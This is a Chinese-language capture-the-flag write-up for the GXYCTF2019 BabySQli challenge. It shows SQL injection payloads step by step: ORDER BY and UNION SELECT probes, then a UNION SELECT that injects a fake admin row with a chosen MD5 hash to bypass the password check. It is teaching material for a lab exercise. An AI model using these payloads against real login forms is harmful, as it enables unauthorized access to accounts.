[GXYCTF2019]BabySQli


這題的知識點是繞過密碼的md5驗證,參考Y1ng師傅的文章

 

看到題目,fuzz了一下,過濾的並不多

 而且頁面源碼有給sql語句,不過需要先base32再base64解碼

select * from user where username = '$name'

直接可以用聯合注入,表里有三列

1' Order by 3#

進行用聯合注入,回顯wrong user!,說明用戶不在第一列

1' union select 1,2,3#

嘗試將用戶名放在第二列,回顯wrong pass!,找到用戶名在第二列

1' union select 1,'admin',3#

 接下里就是要繞過密碼的md5驗證,需要把我們輸入的值和數據庫里面存放的用戶密碼的md5值進行比較,那要怎么繞過呢?可以用聯合查詢語句用來生成虛擬的表數據

首先可以看到該表只有一個用戶

 

 然后我們可以用聯合查詢的方式將查詢的數據插入到表中

 

 通過這樣的方式,我們就可以用構造payload

用戶名輸入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
密碼輸入
123456

POST請求 ,獲得flag

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM